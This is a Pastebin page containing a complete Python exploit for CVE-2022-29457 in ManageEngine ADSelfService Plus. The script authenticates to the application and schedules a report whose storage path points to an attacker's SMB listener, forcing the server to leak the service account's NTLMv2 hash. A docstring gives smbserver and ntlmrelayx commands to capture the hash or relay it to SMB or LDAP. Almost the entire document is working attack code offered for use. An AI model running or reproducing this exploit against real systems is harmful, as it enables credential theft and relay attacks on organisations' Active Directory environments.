Advertisement
FlyFar

ManageEngine ADSelfService Plus Build 6118 - NTLMv2 Hash Exposure - CVE-2022-29457

Feb 14th, 2024
969
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 6.52 KB | Cybersecurity | 0 0
  1. # Exploit Title: ManageEngine ADSelfService Plus Build 6118 - NTLMv2 Hash Exposure
  2. # Exploit Author: Metin Yunus Kandemir
  3. # Vendor Homepage: https://www.manageengine.com/
  4. # Software Link: https://www.manageengine.com/products/self-service-password/download.html
  5. # Details: https://docs.unsafe-inline.com/0day/multiple-manageengine-applications-critical-information-disclosure-vulnerability
  6. # Version: ADSelfService Plus Build < 6121
  7. # Tested against: Build 6118
  8. # CVE: CVE-2022-29457
  9.  
  10. # !/usr/bin/python3
  11. import argparse
  12. import requests
  13. import urllib3
  14. import random
  15. import sys
  16.  
  17. """
  18. 1-
  19. a)Set up SMB server to capture NTMLv2 hash.
  20. python3 smbserver.py share . -smb2support
  21.  
  22. b)For relaying to SMB:
  23. python3 ntlmrelayx.py -smb2support -t smb://TARGET
  24.  
  25. c)For relaying to LDAP:
  26. python3 ntlmrelayx.py -t ldaps://TARGET
  27.  
  28. 2- Fire up the exploit.
  29. You will obtain the NTLMv2 hash of user/computer account that runs the ADSelfService in five minutes.
  30. """
  31.  
  32. urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
  33.  
  34. def get_args():
  35.     parser = argparse.ArgumentParser(
  36.         epilog="Example: exploit.py -t https://Target/ -l Listener-IP -a adselfservice -d unsafe.local -u operator1 -p operator1")
  37.     parser.add_argument('-d', '--domain', required=True, action='store', help='DNS name of the target domain. ')
  38.     parser.add_argument('-a', '--auth', required=True, action='store', help='If you have credentials of the application user, type adselfservice. If you have credentials of the domain user, type domain')
  39.     parser.add_argument('-u', '--user', required=True, action='store')
  40.     parser.add_argument('-p', '--password', required=True, action='store')
  41.     parser.add_argument('-t', '--target', required=True, action='store', help='Target url')
  42.     parser.add_argument('-l', '--listener', required=True, action='store', help='Listener IP to capture NTLMv2 hash')
  43.     args = parser.parse_args()
  44.     return args
  45.  
  46.  
  47. def scheduler(domain, auth, target, listener, user, password):
  48.     try:
  49.         with requests.Session() as s:
  50.             gUrl = target
  51.             getCsrf = s.get(url=gUrl, allow_redirects=False, verify=False)
  52.             csrf = getCsrf.cookies['_zcsr_tmp']
  53.             print("[*] Csrf token: %s" % getCsrf.cookies['_zcsr_tmp'])
  54.    
  55.             if auth.lower() == 'adselfservice':
  56.                 auth = "ADSelfService Plus Authentication"
  57.             data = {
  58.                 "loginName": user,
  59.                 "domainName": auth,
  60.                 "j_username": user,
  61.                 "j_password": password,
  62.                 "AUTHRULE_NAME": "ADAuthenticator",
  63.                 "adscsrf": [csrf, csrf]
  64.             }
  65.  
  66.             #Login
  67.             url = target + "j_security_check"
  68.             headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0"}
  69.             req = s.post(url, data=data, headers=headers, allow_redirects=True, verify=False)
  70.             #Auth Check
  71.             url2 = target + "webclient/index.html"
  72.             req2 = s.get(url2, headers=headers, allow_redirects=False, verify=False)
  73.             if req2.status_code == 200:
  74.                 print("[+] Authentication is successful.")
  75.             elif req2.status_code == 302:
  76.                 print("[-] Login failed.")
  77.                 sys.exit(1)
  78.             else:
  79.                 print("[-] Something went wrong")
  80.                 sys.exit(1)
  81.                        
  82.             dn = domain.split(".")
  83.             r1 = random.randint(1, 1000)
  84.        
  85.             surl = target + 'ServletAPI/Reports/saveReportScheduler'
  86.             data = {
  87.                 'SCHEDULE_ID':'0',
  88.                 'ADMIN_STATUS':'3',
  89.                 'SCHEDULE_NAME': 'enrollment' + str(r1),
  90.                 'DOMAINS': '["'+ domain +'"]',
  91.                 'DOMAIN_PROPS': '{"'+ domain +'":{"OBJECT_GUID":"{*}","DISTINGUISHED_NAME":"DC='+ dn[0] +',DC='+ dn[1] +'","DOMAIN_SELECTED_OUS_GROUPS":{"ou":[{"OBJECT_GUID":"{*}","DISTINGUISHED_NAME":"DC='+ dn[0] +',DC='+ dn[1] +'","NAME":"'+ domain +'"}]}}}',
  92.                 'SELECTED_REPORTS': '104,105',
  93.                 'SELECTED_REPORT_LIST': '[{"REPORT_CATEGORY_ID":"3","REPORT_LIST":[{"CATEGORY_ID":"3","REPORT_NAME":"adssp.reports.enroll_rep.enroll.heading","IS_EDIT":false,"SCHEDULE_ELEMENTS":[],"REPORT_ID":"104"},{"CATEGORY_ID":"3","REPORT_NAME":"adssp.common.text.non_enrolled_users","IS_EDIT":true,"SCHEDULE_ELEMENTS":[{"DEFAULT_VALUE":false,"size":"1","ELEMENT_VALUE":false,"uiText":"adssp_reports_enroll_rep_non_enroll_show_notified","name":"SHOW_NOTIFIED","id":"SHOW_NOTIFIED","TYPE":"checkbox","class":"grayfont fntFamily fntSize"}],"REPORT_ID":"105"}],"REPORT_CATEGORY_NAME":"adssp.xml.reportscategory.enrollment_reports"}]',
  94.                 'SCHEDULE_TYPE': 'hourly',
  95.                 'TIME_OF_DAY': '0',
  96.                 'MINS_OF_HOUR': '5',
  97.                 'EMAIL_ID': user +'@'+ domain,
  98.                 'NOTIFY_ADMIN': 'true',
  99.                 'NOTIFY_MANAGER': 'false',
  100.                 'STORAGE_PATH': '\\\\' + listener + '\\share',
  101.                 'FILE_FORMAT': 'HTML',
  102.                 'ATTACHMENT_TYPE': 'FILE',
  103.                 'ADMIN_MAIL_PRIORITY': 'Medium',
  104.                 'ADMIN_MAIL_SUBJECT': 'adssp.reports.schedule_reports.mail_settings_sub',
  105.                 'ADMIN_MAIL_CONTENT': 'adssp.reports.schedule_reports.mail_settings_msg_html',
  106.                 'MANAGER_FILE_FORMAT': 'HTML',
  107.                 'MANAGER_ATTACHMENT_TYPE': 'FILE',
  108.                 'MANAGER_MAIL_SUBJECT': 'adssp.reports.schedule_reports.mail_settings_mgr_sub',
  109.                 'MANAGER_MAIL_CONTENT': 'adssp.reports.schedule_reports.mail_settings_mgr_msg_html',
  110.                 'adscsrf': csrf
  111.                 }
  112.             sch = s.post(surl, data=data, headers=headers, allow_redirects=False, verify=False)
  113.             if 'adssp.reports.schedule_reports.storage_path.unc_storage_path' in sch.text:
  114.                 print('[-] The target is patched!')
  115.                 sys.exit(1)
  116.             if sch.status_code == 200:
  117.                 print("[+] The report is scheduled. The NTLMv2 hash will be captured in five minutes!")
  118.             else:
  119.                 print("[-] Something went wrong. Please, try it manually!")
  120.                 sys.exit(1)
  121.     except:
  122.         print('[-] Connection error!')
  123.    
  124. def main():
  125.     arg = get_args()
  126.     domain = arg.domain
  127.     auth = arg.auth
  128.     user = arg.user
  129.     password = arg.password
  130.     target = arg.target
  131.     listener = arg.listener
  132.     scheduler(domain, auth, target, listener, user, password)
  133.  
  134.  
  135. if __name__ == "__main__":
  136.     main()
  137.            
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement